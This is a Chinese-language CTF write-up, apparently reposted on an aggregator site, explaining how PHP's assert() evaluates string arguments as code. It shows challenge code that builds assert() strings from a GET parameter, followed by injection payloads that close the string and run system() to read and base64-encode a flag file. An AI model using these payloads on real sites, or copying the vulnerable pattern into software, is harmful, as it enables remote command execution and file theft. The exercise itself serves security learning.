assert()理解 您所在的位置:网站首页 如何转发微博视频到朋友圈上去 assert()理解

assert()理解

2024-06-05 15:12| 来源: 网络整理| 查看: 265

源自一道CTF题,理解全部写在注释里面

if (isset($_GET['page'])) { $page = $_GET['page']; } else { $page = "home"; // } $file = "templates/" . $page . ".php"; // I heard '..' is dangerous! //strpos通过查询‘..’ 在'$file'中第一次出现的位置来防止目录遍历 //assert()函数解释:判断表达式是否成立,返回true或者false。如果()内容为字符串则会当成php代码执行。 assert("strpos('$file', '..') === false") or die("Detected hacking attempt!"); // TODO: Make this look nice //file_exists(path)判断目标目录或者文件是否存在 assert("file_exists('$file')") or die("That file doesn't exist!"); //writeup //由于有两个assert函数,可以对两个进行恶意代码构造 //对1构造 //解释:闭合strpos('1','..') or system("系统命令"); // 注释掉后面代码   1',..') or system("cat+templates/flag.php|base64");// 注: base64是因为php源码无法直接显示,进行加密处理显示 或者F12打开,会发现注释里面有flag //对2构造 //解释:闭合file_exists('1'),or system("系统命令"); //注释掉后面代码   1') or system("cat+templates/flag.php|base64");#   发现#被过滤改用//   1') or system("cat+templates/flag.php|base64");//

 



【本文地址】

公司简介

联系我们

今日新闻

    推荐新闻

    专题文章
      CopyRight 2018-2019 实验室设备网 版权所有